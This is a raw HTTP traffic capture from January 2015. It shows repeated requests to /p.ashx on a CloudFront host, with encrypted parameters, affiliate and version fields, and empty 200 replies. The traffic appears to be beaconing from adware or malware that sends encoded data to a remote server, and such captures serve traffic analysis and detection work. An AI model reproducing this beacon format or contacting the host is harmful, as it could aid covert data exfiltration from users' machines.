B8kinM5KR_pj-CkBHUcbvRC9-XGZg==......

GET /p.ashx?e=hXeqmv1IpelLnCMxb3UlH2ixDL7TvdeXo6osK346QkZ4E7mrr1h80jmXqQawsZSOUA7dl9owwhLw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQyzkqcReTLpR lWLUtT/Ob84SfvtpjZHs2R9NPlMfgfEX4l9XCm/Va9DzSREg8dBLdCUHeR8YCF3e0ze47pQVOJ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lx0fofCQUPI9Ti1p16ZP0eRrlf3Z bjvtKS13pkoDd7gxvWvwyq qsQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Mof_aULbb-LiAU0Dw9-6AgmQ0EhwNyt_S0ebgPZkDv-xx2GfNhIkNg==

....

GET /p.ashx?e=hXeqmv1IpelLnCMxb3UlH2ixDL7TvdeXo6osK346QkZ4E7mrr1h80jmXqQawsZSOUA7dl9owwhLw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQyzkqcReTLpR lWLUtT/Ob84SfvtpjZHs2R9NPlMfgfEX4l9XCm/Va m0xPwkWqeELO4NVqCHrKTs IILilpWF3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW QTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSxnd3QGj0xhIy9 qlRQm 6DplrwIBht3ZdIe1oqq6ohlDNLht0Vpk5sxmb7yrGl6ig== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: DOLXkPeEtfopC_BqY5UQzTazLBqBFhEbZ1LyO_uyUN72r5h4C24nGQ==

....

GET /p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrnisgFVrwdvblBb58xFAMOt6D9UJmzeHXJOIAnSEbDsx0eh4F9DwOExoWNAP4OWMIxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9UpvOoju LNg2oiiVq1SStbMubU ieQ86G2kgoeLKovQKP ZDTcKvaA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 8GxehVb7kIq1Rk1DIiFqDWYvPDyI_yYL6wxfRKud8OYW0uRBfw1nOA==

....

GET /p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrgJHDf/u7xkQoETtCpwnRwjDg9SakjfpthzGuRPC12F0Io3Hxsp018NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29raE2JuypHmFcB7Kvi1 PdRfV4GNTx99pCL 3iyUFZ9oHKmQIn4hJDvowDChOESlis= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: d6pbp828MuwawqHh_iT-arUJxhL0AD2v2rqq_jXygkZDx5JKW5PO3w==

....

GET /p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrzdiNKneBtxMbw23K9mQlgxQC drCF7eFKCrVyEloleJRxtw Ud1eTtGv 8p9Zv7Rndz90qskgG9nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UqAnlbOF tL8E5ZW5Py1LuPaoCYHIlP1NpERI1WONIT7d WGXQANOND HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:14 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4bBrhheR5_xw981vXYp-Vg2L1xHPfrROCdG5teyAxtu9BGmEb1hohw==

....

GET /p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5Mrn14WGxPVpt4rhVLDNrJQC44G r 3F6T77w1D5Xws0XapQUt9ysv/LeITGL7aiC8Hk2dyYR17VYOC5WBoetiu1eIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZfDhMTGyxHiH5Qsuno0J09RI381SZA6iXPexrYhFaidDzRzrRm1LbPo= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:14 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: U_wTykS8jxYvRqHbw3RRJv5X4a7X3_fC8454ZW_wHaHfhnurIWoZWg==

....

GET /p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrgJHDf/u7xkQN1DcIUGU/krPiCC4paVhdBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLGd3dAaPTGEjL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTmzGZvvKsaXqK HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:14 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: o_Z5rz4mePIjftuL62BXhzipRaxuOHTVv2atzTV-k5ld0ZCyQ0puGw==

....

GET /p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrxBAEp0wLfKOWnHKXQ4ByT9CUHeR8YCF3cICI7/tQlejZeojEglKF4wTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSxnd3QGj0xhIy9 qlRQm 6DplrwIBht3ZdIe1oqq6ohlDNLht0Vpk5sxmb7yrGl6ig== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:11 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: bfgHRM3zaRpmIJ1BS72oqF_b-sHbLq5ZP8XfPkf2mEDqhX6Tsaf_QA==

....

GET /p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrxBAEp0wLfKOcXM978RrvxgTxIUcsgQ w0eteH8KxBtakHX utQO2t7GJ7NLKRj9n2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2toTYm7KkeYVwHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO jAMKE4RKWKw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=uWabAt9SLcz1rEcPDUvKZtI Ab2bIMNXB3Q zhArU078ln8Iap23/32Fnk7oJCBmfl0yK7ww8bR4WwqX7SuJBk5ZW5Py1LuPaoCYHIlP1NpERI1WONIT7dfWUzWNgYRGSOrYhj46XfQLNL0WD0u6Zt/clOgKwq05rXIxNf6X/p8CFMPu/XF4Ln0AQg0WKP xjgb6v7cXpPsg9xFL4weyiMbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfVKbzqI7vizYNqIolatUkrWzLm1PonkPOhtpIKHiyqL0Cj/mQ03Cr2g= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=PcwT4QFtuPBPNjxRBLtb43sCfwj1RPwM/WD6e6SZIIExLHUkaU066zsPf/PibBcq5P1EdQrXWtvL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTm6LQ1AVjbz2R b/YhL9w2PR0gYZFzD/Ro9gpblKfW4NYb GEwPiedNJiuGpx ZVZ8ATxIUcsgQ wusjSmD/os8tGkftYta6BseIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZfDhMTGyxHiH5Qsuno0J09RI381SZA6iXPexrYhFaidDzRzrRm1LbPo= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:16 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: qef9FZaGRpAP5XcL0AgivUI83QppsD4q-ju939vTcYn-PEjXBU5BMw==

....

GET /p.ashx?e=lOCrbsNL2zX5PxLbQh95wGlBVeUjsyYpATiRXab0IMZAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTerUS xu59wfjaiKJWrVJK1sy5tT6J5DzobaSCh4sqi9GYMfFfhpIaQpKb81Sa5kgtqq35bppXPWAnShT6V4w3E8qJaeUqNPyfIROPie2z40 X0A62pnUj3KYX3Ti/i3YMh066VndfnJPZ7qdg7Xwz65VmhQy4zPjr3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhywxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Hgik2tPNJNITowd3_IIZ2gS9gow9PDdwkT6xhu5ncHjEdgWHxpFp6g==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:12 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 1af3b41af1ae11562aeae8eb3a7322
4a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: Hgik2tPNJNITowd3_IIZ2gS9g
ow9PDdwkT6xhu5ncHjEdgWHxpFp6g==......

GET /p.ashx?e=37A8KpTgCn9pQVXlI7MmKUGltZhbwJNeQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaqt W6aVz1gJ0oU leMNxNAE2nujUpHLCeQCV5QcxbtPZPHJIIJ7tLPiCC4paVhdpK4A9Fxc1YdQgONDig9eL33WTcqgG6cW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2toTYm7KkeYVwHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO jAMKE4RKWKw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:16 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OCliCJDcW3SEPBi0Jak5W6en44O62TosnayNRtYucfZfzaoigljPug==

....

GET /p.ashx?e=37A8KpTgCn9pQVXlI7MmKUGltZhbwJNeQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaqt W6aVz1gJ0oU leMNxNAE2nujUpHLCeQCV5QcxbtPZPHJIIJ7tLPiCC4paVhdWVygbMLCnlKwtI/6oCOdpRH59cmKdZXuemhbyj Dp3mDnvuZM8OFmDbOD 4Je6KVjShBrTs2JIZpvLSWN4tvyEHGJzRl3HFz488RxCRQC/xPUBetgzuMdwNxBRMvNAJRbdvcZH1qHoCmzzyfyUZ1mfx0/ad/KTFdGePeI7LnpO NBE3rIknrX6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTLZfq81dNXZ4yWX8hHfz7AAJy7SgRMsWbkZddSrlEwgXRnhKwsbQ8f9iWFF2Bq/WA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: KUefOvQ6tZNAJR12o3HsWIxFaUV7y_SfC59eUYSvBtvVO2zcdaPWrA==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:13 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 1af3b41af1ae11562aeae8eb3a7322
4a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: KUefOvQ6tZNAJR12o3HsWIxFa
UV7y_SfC59eUYSvBtvVO2zcdaPWrA==......

GET /p.ashx?e=uWabAt9SLcxB24VIjmhz1sxndPpeZYzTbsgj QVv7RmMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1Nvswr0UvYRXVZ6GNLFgb86f258KNSi4oyKF7F0eQd/THWbRKTrcCYmxIIWpTPES4rmkEK3qBiKqiViqjXInnhsJXymwN66RvHfV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YNcWyV 43ZmuBoJKnjcECO vcpBmUnu1RPiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQ80c60ZtS2z6 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:19 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FcUu0IrCqU_3MyYSaOV_6YnQpeol4CDUf_iV_-LrPWPimh97Nii_GQ==

....

GET /p.ashx?prd=YTAi&aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&ver=2.2.7764.475&rnd=578&tss=7&action=ErrorData&actionparam=/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg7r6 sODg4O/g4ODv7 6w4O6w4ODg4ODv7 /g79/f39/f339/f39/f39/f3 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xq QBsbGxsbGxsbt7e3t7e3t7cICAgIR0dHODg4ODg43d3d3d3d29vb29vb vr6GhoaGhoaGhomJiYmJiYmBAQEQEBAQEBAQCgoKCgoKCjc3Nzc3Nzc3DQ0NDQ0NDT7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb2/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v39/fj4 Pj4 Pj4 BISEhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/PwSEhISEvj4 Pj4/f39/f39/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg4O/v7 /v4ODv7 /v7 /v7 /v7 /v79/f399/f39/f39/j4 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7Gs1AGxsbGxsbGxu3t7e3t7e3CAgICAhHODg4ODg4ON3d3d3d3d3b29vb2/r6 voaGhoaGhoaJiYmJiYmBAQEBEBAQEBAQEAoKCgoKCgo3Nzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /f39/f39/f39vb29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f34 Pj4 Pj4 PgSEhISEhIS/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/BISEhIS Pj4 Pj9/f39/f3 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /
HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:16 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: SzlFnBOQabOERC9BEq2tRAAykt7VxEqhsXV4hn_DOVf5WoGMV-WdWA==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:16 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 1af3b41af1ae11562aeae8eb3a7322
4a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: SzlFnBOQabOERC9BEq2tRAAyk
t7VxEqhsXV4hn_DOVf5WoGMV-WdWA==......

GET /p.ashx?prd=YTAi&aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&ver=2.2.7764.475&rnd=578&tss=8&action=ErrorData&actionparam=/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg7r6 sODg4O/g4ODv7 6w4O6w4ODg4ODv7 /g79/f39/f339/f39/f39/f3 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xq QBsbGxsbGxsbt7e3t7e3t7cICAgIR0dHODg4ODg43d3d3d3d29vb29vb vr6GhoaGhoaGhomJiYmJiYmBAQEQEBAQEBAQCgoKCgoKCjc3Nzc3Nzc3DQ0NDQ0NDT7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb2/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v39/fj4 Pj4 Pj4 BISEhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/PwSEhISEvj4 Pj4/f39/f39/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg4O/v7 /v4ODv7 /v7 /v7 /v7 /v79/f399/f39/f39/j4 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7Gs1AGxsbGxsbGxu3t7e3t7e3CAgICAhHODg4ODg4ON3d3d3d3d3b29vb2/r6 voaGhoaGhoaJiYmJiYmBAQEBEBAQEBAQEAoKCgoKCgo3Nzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /f39/f39/f39vb29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f34 Pj4 Pj4 PgSEhISEhIS/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/BISEhIS Pj4 Pj9/f39/f3 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /
HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:17 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: psABLpBcmitj9pL6wlKpfiyJMovFjZ1wtKuEA4C9l-dKTIcqkzGanw==

....

GET /p.ashx?e=/9ZmISdorEvwl4DCqEaRhHDXr6lyiDky7OXLse4BafTbQC nVTu53h5TX6K4Kv02U2jXe/GUcK6Mll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PHy jFnzOS7HfKPuMdH9xkPEEkuF2XgxcjUHSVEfMSLUx5i6K0mlT5TU1G SrHc cvhQC drCF7eFqFA/WB2TZ7tmyhLgvMFEGq2e8t8Sq5T094khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsMWZgjkQr7xlWehjSxYG/On9ufCjUouKMihexdHkHf0wrKMMG5pH3Yg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:20 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: tgIrx5lc7j7FaCXLhNMDwGROwK4JSsqvS9-czv94Tykc_xg0hUo_Yw==

....

